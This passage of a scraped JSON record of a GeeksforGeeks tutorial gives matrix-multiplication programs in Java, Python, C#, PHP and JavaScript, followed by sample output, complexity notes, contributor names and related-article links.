"code": "// Java program to multiply two matrices. public class GFG{ /** * to find out matrix multiplication * * @param matrix1 First matrix * @param rows1 Number of rows in matrix 1 * @param cols1 Number of columns in matrix 1 * @param matrix2 Second matrix * @param rows2 Number of rows in matrix 2 * @param cols2 Number of columns in matrix 2 * @return the result matrix (matrix 1 and matrix 2 * multiplication) */ public static int[][] matrixMultiplication( int[][] matrix1, int rows1, int cols1, int[][] matrix2, int rows2, int cols2) throws Exception { // Required condition for matrix multiplication if (cols1 != rows2) { throw new Exception(\"Invalid matrix given.\"); } // create a result matrix int resultMatrix[][] = new int[rows1][cols2]; // Core logic for 2 matrices multiplication for (int i = 0; i < resultMatrix.length; i++) { for (int j = 0; j < resultMatrix[i].length; j++) { for (int k = 0; k < cols1; k++) { resultMatrix[i][j] += matrix1[i][k] * matrix2[k][j]; } } } return resultMatrix; } // Driver code public static void main(String[] args) throws Exception { // Initial matrix 1 and matrix 2 int matrix1[][] = { { 2, 4 }, { 3, 4 } }; int matrix2[][] = { { 1, 2 }, { 1, 3 } }; // Function call to get a matrix multiplication int resultMatrix[][] = matrixMultiplication( matrix1, 2, 2, matrix2, 2, 2); // Display result matrix System.out.println(\"Result Matrix is:\"); for (int i = 0; i < resultMatrix.length; i++) { for (int j = 0; j < resultMatrix[i].length; j++) { System.out.print(resultMatrix[i][j] + \"\\t\"); } System.out.println(); } } // This code is contributed by darshatandel1998 (Darshan // Tandel)}",
"e": 46066,
"s": 43930,
"text": null
},
{
"code": "# Python3 program to multiply two# rectangular matrices # Multiplies two matrices mat1[][]# and mat2[][] and prints result.# (m1) x (m2) and (n1) x (n2) are# dimensions of given matrices.def multiply(m1, m2, mat1, n1, n2, mat2): res = [[0 for x in range(n2)] for y in range (m1)] for i in range(m1): for j in range(n2): res[i][j] = 0 for x in range(m2): res[i][j] += (mat1[ i][x] * mat2[ x][j]) for i in range(m1): for j in range(n2): print (res[i][j], end = \" \") print () # Driver codeif __name__ == \"__main__\": mat1 = [[2, 4], [3, 4]] mat2 = [[1, 2], [1, 3]] m1, m2, n1, n2 = 2, 2, 2, 2 # Function call multiply(m1, m2, mat1, n1, n2, mat2) # This code is contributed by Chitranayal",
"e": 46978,
"s": 46066,
"text": null
},
{
"code": "// C# program to multiply two// rectangular matricesusing System; class GFG{ // Multiplies two matrices mat1[][]// and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.static void multiply(int m1, int m2, int[,] mat1, int n1, int n2, int[,] mat2){ int x, i, j; int[,] res = new int[m1, n2]; for(i = 0; i < m1; i++) { for(j = 0; j < n2; j++) { res[i, j] = 0; for(x = 0; x < m2; x++) { res[i, j] += (mat1[i, x] * mat2[x, j]); } } } for(i = 0; i < m1; i++) { for(j = 0; j < n2; j++) { Console.Write(res[i, j] + \" \"); } Console.WriteLine(); }} // Driver Codestatic void Main(){ int[,] mat1 = { { 2, 4 }, { 3, 4 } }; int[,] mat2 = { { 1, 2 }, { 1, 3 } }; int m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2);}} // This code is contributed by divyeshrabadiya07",
"e": 48048,
"s": 46978,
"text": null
},
{
"code": "<?php// PHP program to multiply two// rectangular matrices // Multiplies two matrices mat1[][] // and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.function multiply($m1, $m2, $mat1, $n1, $n2, $mat2){ for ($i = 0; $i < $m1; $i++) { for ($j = 0; $j < $n2; $j++) { $res[$i][$j] = 0; for ($x = 0; $x < $m2; $x++) { $res[$i][$j] += $mat1[$i][$x] * $mat2[$x][$j]; } } } for ($i = 0; $i < $m1; $i++) { for ($j = 0; $j < $n2; $j++) { echo $res[$i][$j] . \" \"; } echo \"\\n\"; }} // Driver code$mat1 = array( array( 2, 4 ), array( 3, 4 ));$mat2 = array( array( 1, 2 ), array( 1, 3 ));$m1 = 2;$m2 = 2;$n1 = 2;$n2 = 2; //Function callmultiply($m1, $m2, $mat1, $n1, $n2, $mat2); // This code is contributed by rathbhupendra?>",
"e": 48991,
"s": 48048,
"text": null
},
{
"code": "<script> // Javascript program to multiply two// rectangular matrices // Multiplies two matrices mat1[][]// and mat2[][] and prints result.// (m1) x (m2) and (n1) x (n2) are// dimensions of given matrices.function multiply(m1, m2, mat1, n1, n2, mat2){ let x, i, j; let res = new Array(m1); for (i = 0; i < m1; i++) res[i] = new Array(n2); for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { res[i][j] = 0; for (x = 0; x < m2; x++) { res[i][j] += mat1[i][x] * mat2[x][j]; } } } for (i = 0; i < m1; i++) { for (j = 0; j < n2; j++) { document.write(res[i][j] + \" \"); } document.write(\"<br>\"); }} // Driver code let mat1 = [ [ 2, 4 ], [ 3, 4 ] ]; let mat2 = [ [ 1, 2 ], [ 1, 3 ] ]; let m1 = 2, m2 = 2, n1 = 2, n2 = 2; // Function call multiply(m1, m2, mat1, n1, n2, mat2); </script>",
"e": 49956,
"s": 48991,
"text": null
},
{
"code": null,
"e": 49968,
"s": 49956,
"text": "6 16 \n7 18 "
},
{
"code": null,
"e": 50051,
"s": 49968,
"text": "Time complexity: O(n3). It can be optimized using Strassen’s Matrix Multiplication"
},
{
"code": null,
"e": 50079,
"s": 50051,
"text": "Auxiliary Space: O(m1 * n2)"
},
{
"code": null,
"e": 50505,
"s": 50079,
"text": "This article is contributed by Aditya Ranjan. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above."
},
{
"code": null,
"e": 50510,
"s": 50505,
"text": "vt_m"
},
{
"code": null,
"e": 50523,
"s": 50510,
"text": "SoumikMondal"
},
{
"code": null,
"e": 50536,
"s": 50523,
"text": "Akanksha_Rai"
},
{
"code": null,
"e": 50549,
"s": 50536,
"text": "SantanuBasak"
},
{
"code": null,
"e": 50564,
"s": 50549,
"text": "Shivi_Aggarwal"
},
{
"code": null,
"e": 50578,
"s": 50564,
"text": "rathbhupendra"
},
{
"code": null,
"e": 50592,
"s": 50578,
"text": "ManasChhabra2"
},
{
"code": null,
"e": 50610,
"s": 50592,
"text": "darshantandel1998"
},
{
"code": null,
"e": 50616,
"s": 50610,
"text": "ukasp"
},
{
"code": null,
"e": 50634,
"s": 50616,
"text": "divyeshrabadiya07"
},
{
"code": null,
"e": 50650,
"s": 50634,
"text": "rishavmahato348"
},
{
"code": null,
"e": 50666,
"s": 50650,
"text": "subhammahato348"
},
{
"code": null,
"e": 50677,
"s": 50666,
"text": "mkumar2789"
},
{
"code": null,
"e": 50694,
"s": 50677,
"text": "surinderdawra388"
},
{
"code": null,
"e": 50700,
"s": 50694,
"text": "Paytm"
},
{
"code": null,
"e": 50713,
"s": 50700,
"text": "Mathematical"
},
{
"code": null,
"e": 50720,
"s": 50713,
"text": "Matrix"
},
{
"code": null,
"e": 50739,
"s": 50720,
"text": "School Programming"
},
{
"code": null,
"e": 50745,
"s": 50739,
"text": "Paytm"
},
{
"code": null,
"e": 50758,
"s": 50745,
"text": "Mathematical"
},
{
"code": null,
"e": 50765,
"s": 50758,
"text": "Matrix"
},
{
"code": null,
"e": 50863,
"s": 50765,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 50887,
"s": 50863,
"text": "Merge two sorted arrays"
},
{
"code": null,
"e": 50930,
"s": 50887,
"text": "Modulo Operator (%) in C/C++ with Examples"
},
{
"code": null,
"e": 50944,
"s": 50930,
"text": "Prime Numbers"
},
{
"code": null,
"e": 50986,
"s": 50944,
"text": "Program to find GCD or HCF of two numbers"
},
{
"code": null,
"e": 51008,
"s": 50986,
"text": "Sieve of Eratosthenes"
},
{
"code": null,
"e": 51052,
"s": 51008,
"text": "Program to find largest element in an array"
},
{
"code": null,
"e": 51088,
"s": 51052,
"text": "Print a given matrix in spiral form"
},
{
"code": null,
"e": 51119,
"s": 51088,
"text": "Rat in a Maze | Backtracking-2"
},
{
"code": null,
"e": 51162,
"s": 51119,
"text": "Maximum size square sub-matrix with all 1s"
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.